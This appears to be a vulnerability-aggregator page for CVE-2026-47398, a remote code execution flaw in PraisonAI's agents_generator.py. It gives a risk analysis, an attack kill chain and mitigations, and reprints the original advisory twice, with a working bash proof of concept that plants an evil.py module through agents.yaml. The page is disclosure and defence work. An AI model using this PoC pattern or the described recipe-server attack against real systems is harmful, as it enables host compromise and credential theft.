CVE-2026-47398: PraisonAI: RCE via ungated exec_module in agent config

GHSA-78r8-wwqv-r299 HIGH
Published May 29, 2026
CISO Take

PraisonAI versions up to 4.6.37 contain two unguarded `spec.loader.exec_module` call sites in `agents_generator.py` that execute arbitrary Python files referenced from YAML agent configurations, bypassing the env-var gate applied in three prior patch rounds (CVE-2026-40156, CVE-2026-40287, CVE-2026-44334). With the recipe server's default no-auth posture and `allow_any_github=True`, an unauthenticated attacker can achieve remote code execution via a single HTTP POST request — a public PoC bash script is included in the advisory, placing weaponization within reach of unsophisticated actors. The 59 other CVEs in this package and a systemic pattern of incomplete patch series signal structural security debt that should raise red flags for any team running PraisonAI in production or CI/CD. Upgrade to praisonai >= 4.6.40 immediately; if patching is blocked, restrict or disable the `/v1/recipes/run` endpoint and ensure `allow_any_github` is set to false.

Sources: GitHub Advisory NVD ATLAS

What is the risk?

Critical risk in network-facing deployments. The structured CVE data scores this 8.1 High (AV:N/AC:H); the advisory escalates to 9.8 Critical when the recipe server runs with default no-auth settings and allow_any_github=True — both common in out-of-the-box deployments. This is the fourth bypass in a series of incomplete patches targeting the same exec_module sink family, meaning the maintainers' track record of fully closing the attack surface is poor and future patches warrant scrutiny. With a trivial public PoC and no authentication requirement in the network vector, exploitation probability is high regardless of low current EPSS data (CVE is newly published). AI agent frameworks running in CI/CD pipelines, shared development environments, or multi-tenant SaaS platforms face the broadest blast radius.

Attack Kill Chain

Initial Access
Attacker publishes a malicious public GitHub repository containing agents.yaml with module_path pointing to a colocated evil.py payload, leveraging the recipe fetch capability.
AML.T0049
Configuration Injection
Attacker sends an unauthenticated POST to /v1/recipes/run referencing the malicious GitHub recipe; PraisonAI fetches and parses the attacker-controlled agents.yaml without validation.
AML.T0081
Code Execution
AgentsGenerator.load_tools_from_module() calls spec.loader.exec_module() on evil.py with no PRAISONAI_ALLOW_LOCAL_TOOLS gate check, executing the payload as the service account before any LLM interaction.
AML.T0050
Impact
Attacker achieves full host compromise — exfiltrating AI API keys and credentials, establishing persistence, or pivoting to connected databases and vector stores — entirely within the tool-loading phase.
AML.T0048

What systems are affected?

Package Ecosystem Vulnerable Range Patched
PraisonAI pip <= 4.6.39 4.6.40
1 dependents 86% patched ~0d to patch Full package profile →

Do you use PraisonAI? You're affected.

Severity & Risk

CVSS 3.1
8.1 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

Attack Surface

AV AC PR UI S C I A
AV Network
AC High
PR None
UI None
S Unchanged
C High
I High
A High

What should I do?

6 steps
  1. Upgrade to praisonai >= 4.6.40 — the only confirmed remediation.

  2. If upgrade is blocked: set PRAISONAI_ALLOW_LOCAL_TOOLS to any value other than 'true' (note: agents_generator.py does NOT check this gate, so it only helps other sinks — treat as defense-in-depth, not a fix).

  3. Disable or place behind strong authentication the /v1/recipes/run endpoint; explicitly set allow_any_github=False in recipe server config.

  4. Audit all agents.yaml files in use for unexpected module_path entries referencing .py files, especially relative paths.

  5. Detection: alert on Python process execution spawning from /tmp or unexpected working directories; watch for file writes matching praisonai_*_pwn_*.txt in /tmp as PoC fingerprint.

  6. In CI/CD contexts, pin the praisonai version and validate YAML agent configs against a strict schema — reject any config containing module_path keys that reference filesystem paths.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity Article 9 - Risk management system
ISO 42001
6.1.2 - AI risk assessment 8.4 - AI system lifecycle
NIST AI RMF
MANAGE 2.2 - AI risk treatment
OWASP LLM Top 10
LLM03:2025 - Supply Chain Vulnerabilities LLM06:2025 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-47398?

PraisonAI versions up to 4.6.37 contain two unguarded `spec.loader.exec_module` call sites in `agents_generator.py` that execute arbitrary Python files referenced from YAML agent configurations, bypassing the env-var gate applied in three prior patch rounds (CVE-2026-40156, CVE-2026-40287, CVE-2026-44334). With the recipe server's default no-auth posture and `allow_any_github=True`, an unauthenticated attacker can achieve remote code execution via a single HTTP POST request — a public PoC bash script is included in the advisory, placing weaponization within reach of unsophisticated actors. The 59 other CVEs in this package and a systemic pattern of incomplete patch series signal structural security debt that should raise red flags for any team running PraisonAI in production or CI/CD. Upgrade to praisonai >= 4.6.40 immediately; if patching is blocked, restrict or disable the `/v1/recipes/run` endpoint and ensure `allow_any_github` is set to false.

Is CVE-2026-47398 actively exploited?

No confirmed active exploitation of CVE-2026-47398 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-47398?

1. Upgrade to praisonai >= 4.6.40 — the only confirmed remediation. 2. If upgrade is blocked: set PRAISONAI_ALLOW_LOCAL_TOOLS to any value other than 'true' (note: agents_generator.py does NOT check this gate, so it only helps other sinks — treat as defense-in-depth, not a fix). 3. Disable or place behind strong authentication the /v1/recipes/run endpoint; explicitly set allow_any_github=False in recipe server config. 4. Audit all agents.yaml files in use for unexpected module_path entries referencing .py files, especially relative paths. 5. Detection: alert on Python process execution spawning from /tmp or unexpected working directories; watch for file writes matching praisonai_*_pwn_*.txt in /tmp as PoC fingerprint. 6. In CI/CD contexts, pin the praisonai version and validate YAML agent configs against a strict schema — reject any config containing module_path keys that reference filesystem paths.

What systems are affected by CVE-2026-47398?

This vulnerability affects the following AI/ML architecture patterns: Agent frameworks, CI/CD AI pipelines, Multi-tenant agent platforms, Recipe and automation servers.

What is the CVSS score for CVE-2026-47398?

CVE-2026-47398 has a CVSS v3.1 base score of 8.1 (HIGH).

AI Security Impact

Affected AI Architectures

Agent frameworksCI/CD AI pipelinesMulti-tenant agent platformsRecipe and automation servers

MITRE ATLAS Techniques

AML.T0002.002 AI Agent Configuration
AML.T0010.005 AI Agent Tool
AML.T0049 Exploit Public-Facing Application
AML.T0053 AI Agent Tool Invocation
AML.T0081 Modify AI Agent Configuration

Compliance Controls Affected

EU AI Act: Article 15, Article 9
ISO 42001: 6.1.2, 8.4
NIST AI RMF: MANAGE 2.2
OWASP LLM Top 10: LLM03:2025, LLM06:2025

Technical Details

Original Advisory

<html><head></head><body><h2>Arbitrary code execution via ungated <code>spec.loader.exec_module</code> in <code>agents_generator.py</code> (v4.6.32 chokepoint refactor bypass)</h2> <h3>Summary</h3> <p>The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> env-var gate to the <code>tool_override.py</code> sinks. However, <strong>two additional <code>spec.loader.exec_module</code> call sites</strong> in <code>praisonai/agents_generator.py</code> were missed and remain completely unguarded on current <code>master</code> (v4.6.37). Both functions accept a <code>module_path</code> parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.</p> <h3>Patch lineage</h3> CVE | GHSA | Fixed in | What was patched -- | -- | -- | -- CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool_resolver.py CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool_resolver.py + api/call.py CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool_override.py This finding | — | unfixed | Missed sinks in agents_generator.py <p>Every prior patch addressed a subset of <code>exec_module</code> call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.</p> <h3>Vulnerable code</h3> <pre><code class="language-python"># praisonai/agents_generator.py (master HEAD; v4.6.37) 336 def load_tools_from_module(self, module_path): # ... 349 spec = importlib.util.spec_from_file_location("tools_module", module_path) 350 module = importlib.util.module_from_spec(spec) 351 spec.loader.exec_module(module) # ← NO gate 372 def load_tools_from_module_class(self, module_path): # ... (same pattern — spec_from_file_location → exec_module, no gate) </code></pre> <p>Neither function checks <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code>. Neither validates <code>module_path</code> against an allowlist. The <code>module_path</code> value originates from YAML agent configuration (<code>agents.yaml</code>) tool definitions, which can be:</p> <ol> <li><strong>Attacker-controlled via shared/writable config directory</strong> — same CWD-plant vector as CVE-2026-40156.</li> <li><strong>Attacker-controlled via recipe/GitHub fetch</strong> — same remote trigger as CVE-2026-44334 (<code>POST /v1/recipes/run</code> with <code>allow_any_github=True</code>).</li> <li><strong>Attacker-influenced via prompt injection</strong> — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.</li> </ol> <h3>Attack chain (recipe vector)</h3> <pre><code>HTTP POST /v1/recipes/run body: {"recipe": "github:&lt;attacker&gt;/&lt;repo&gt;/&lt;recipe&gt;"} │ ▼ Recipe fetched → agents.yaml contains: tools: - module_path: ./evil.py # colocated in recipe dir │ ▼ AgentsGenerator.load_tools_from_module("./evil.py") │ ▼ agents_generator.py:349 spec = spec_from_file_location("tools_module", "./evil.py") agents_generator.py:351 spec.loader.exec_module(module) ← RCE </code></pre> <p>No <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.</p> <h3>PoC</h3> <pre><code class="language-bash">#!/usr/bin/env bash # Requires: pip install praisonai (any version &gt;= 2.0.0, &lt;= 4.6.37) set -euo pipefail WORKDIR=$(mktemp -d) trap "rm -rf $WORKDIR" EXIT # 1. Malicious module cat &gt; "$WORKDIR/evil.py" &lt;&lt; 'PYEOF' import os, sys, tempfile, time marker = os.path.join(tempfile.gettempdir(), f"praisonai_agents_gen_pwn_{int(time.time())}.txt") with open(marker, "w") as f: f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n") print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True) def dummy_tool(): """Placeholder so tool scan finds something.""" pass PYEOF # 2. agents.yaml that references it cat &gt; "$WORKDIR/agents.yaml" &lt;&lt; 'YAMLEOF' framework: praisonai topic: "PoC — agents_generator exec_module bypass" roles: poc_agent: role: PoC goal: Trigger load_tools_from_module backstory: n/a tools: - evil.py YAMLEOF # 3. Run cd "$WORKDIR" python -c " from praisonai import PraisonAI try: ai = PraisonAI(agent_file='agents.yaml') ai.main() except Exception: pass # downstream failure expected; exec_module already fired " # 4. Verify MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2&gt;/dev/null | tail -1) if [ -n "$MARKER" ]; then echo "SUCCESS — marker file written by server process:" cat "$MARKER" else echo "FAIL — marker not found" exit 1 fi </code></pre> <h3>Impact</h3> <p>Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an <code>agents.yaml</code> or colocate a <code>.py</code> file achieves code execution as the service account.</p> <h3>Severity</h3> <p><strong>High</strong> — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)</p> <p>When combined with the recipe server's default no-auth posture and <code>allow_any_github=True</code>, the attack becomes <strong>network-reachable without authentication</strong>, elevating to:</p> <p>CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)</p> <h3>CWE</h3> <ul> <li>CWE-94: Improper Control of Generation of Code ('Code Injection')</li> <li>CWE-426: Untrusted Search Path</li> <li>CWE-829: Inclusion of Functionality from Untrusted Control Sphere</li> </ul> <h3>Affected versions</h3> <p>All versions containing <code>agents_generator.py</code> with these functions — at minimum <code>&gt;= 2.0.0, &lt;= 4.6.37</code> (current <code>master</code> HEAD).</p> <h3>Suggested fix</h3> <p>Apply the same <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> env-var gate used in <code>tool_resolver.py</code> and <code>api/call.py</code> to both call sites in <code>agents_generator.py</code>:</p> <pre><code class="language-python">import os def load_tools_from_module(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ... def load_tools_from_module_class(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ... </code></pre> <p>Additionally, validate <code>module_path</code> against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.</p> <h3>Credit</h3> <p>Kai Aizen &amp; Avraham Shemesh / <a href="https://snailsploit.com/">SnailSploit</a></p></body></html>## Arbitrary code execution via ungated `spec.loader.exec_module` in `agents_generator.py` (v4.6.32 chokepoint refactor bypass) ### TL;DR The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the `PRAISONAI_ALLOW_LOCAL_TOOLS` env-var gate to the `tool_override.py` sinks. However, **two additional `spec.loader.exec_module` call sites** in `praisonai/agents_generator.py` were missed and remain completely unguarded on current `master` (v4.6.37). Both functions accept a `module_path` parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate. ### Patch lineage | CVE | GHSA | Fixed in | What was patched | | --- | --- | --- | --- | | CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD `tools.py` auto-load in `tool_resolver.py` | | CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to `tool_resolver.py` + `api/call.py` | | CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in `templates/tool_override.py` | | **This finding** | — | **unfixed** | Missed sinks in `agents_generator.py` | Every prior patch addressed a subset of `exec_module` call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched. ### Vulnerable code ```python # praisonai/agents_generator.py (master HEAD; v4.6.37) 336 def load_tools_from_module(self, module_path): # ... 349 spec = importlib.util.spec_from_file_location("tools_module", module_path) 350 module = importlib.util.module_from_spec(spec) 351 spec.loader.exec_module(module) # ← NO gate 372 def load_tools_from_module_class(self, module_path): # ... (same pattern — spec_from_file_location → exec_module, no gate) ``` Neither function checks `PRAISONAI_ALLOW_LOCAL_TOOLS`. Neither validates `module_path` against an allowlist. The `module_path` value originates from YAML agent configuration (`agents.yaml`) tool definitions, which can be: 1. **Attacker-controlled via shared/writable config directory** — same CWD-plant vector as CVE-2026-40156. 2. **Attacker-controlled via recipe/GitHub fetch** — same remote trigger as CVE-2026-44334 (`POST /v1/recipes/run` with `allow_any_github=True`). 3. **Attacker-influenced via prompt injection** — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer. ### Attack chain (recipe vector) ``` HTTP POST /v1/recipes/run body: {"recipe": "github:<attacker>/<repo>/<recipe>"} │ ▼ Recipe fetched → agents.yaml contains: tools: - module_path: ./evil.py # colocated in recipe dir │ ▼ AgentsGenerator.load_tools_from_module("./evil.py") │ ▼ agents_generator.py:349 spec = spec_from_file_location("tools_module", "./evil.py") agents_generator.py:351 spec.loader.exec_module(module) ← RCE ``` No `PRAISONAI_ALLOW_LOCAL_TOOLS` check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call. ### PoC ```bash #!/usr/bin/env bash # Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37) set -euo pipefail WORKDIR=$(mktemp -d) trap "rm -rf $WORKDIR" EXIT # 1. Malicious module cat > "$WORKDIR/evil.py" << 'PYEOF' import os, sys, tempfile, time marker = os.path.join(tempfile.gettempdir(), f"praisonai_agents_gen_pwn_{int(time.time())}.txt") with open(marker, "w") as f: f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n") print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True) def dummy_tool(): """Placeholder so tool scan finds something.""" pass PYEOF # 2. agents.yaml that references it cat > "$WORKDIR/agents.yaml" << 'YAMLEOF' framework: praisonai topic: "PoC — agents_generator exec_module bypass" roles: poc_agent: role: PoC goal: Trigger load_tools_from_module backstory: n/a tools: - evil.py YAMLEOF # 3. Run cd "$WORKDIR" python -c " from praisonai import PraisonAI try: ai = PraisonAI(agent_file='agents.yaml') ai.main() except Exception: pass # downstream failure expected; exec_module already fired " # 4. Verify MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1) if [ -n "$MARKER" ]; then echo "SUCCESS — marker file written by server process:" cat "$MARKER" else echo "FAIL — marker not found" exit 1 fi ``` ### Impact Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an `agents.yaml` or colocate a `.py` file achieves code execution as the service account. ### Severity **High** — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8) When combined with the recipe server's default no-auth posture and `allow_any_github=True`, the attack becomes **network-reachable without authentication**, elevating to: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical) ### CWE - CWE-94: Improper Control of Generation of Code ('Code Injection') - CWE-426: Untrusted Search Path - CWE-829: Inclusion of Functionality from Untrusted Control Sphere ### Affected versions All versions containing `agents_generator.py` with these functions — at minimum `>= 2.0.0, <= 4.6.37` (current `master` HEAD). ### Suggested fix Apply the same `PRAISONAI_ALLOW_LOCAL_TOOLS` env-var gate used in `tool_resolver.py` and `api/call.py` to both call sites in `agents_generator.py`: ```python import os def load_tools_from_module(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ... def load_tools_from_module_class(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ... ``` Additionally, validate `module_path` against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths. ### Credit Kai Aizen & Avraham Shemesh / [[SnailSploit](https://snailsploit.com/)](https://snailsploit.com)

Exploitation Scenario

An attacker creates a public GitHub repository containing two files: evil.py (which exfiltrates environment variables including AI API keys and writes a persistence mechanism) and agents.yaml declaring a poc_agent with tools referencing module_path: ./evil.py. They send an unauthenticated HTTP POST to the target's recipe server at POST /v1/recipes/run with body {"recipe": "github:attacker/repo/recipe"}. PraisonAI fetches the recipe, parses agents.yaml, and calls AgentsGenerator.load_tools_from_module('./evil.py'). Since agents_generator.py line 351 calls spec.loader.exec_module(module) with no PRAISONAI_ALLOW_LOCAL_TOOLS check, evil.py executes immediately with the privileges of the PraisonAI process — before any LLM interaction, before any API authentication, before any output filtering. The attacker harvests credentials, pivots to connected databases or vector stores, and plants a backdoor — all in the tool-loading phase that the application treats as infrastructure setup.

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Timeline

Published
May 29, 2026
Last Modified
May 29, 2026
First Seen
May 30, 2026

Related Vulnerabilities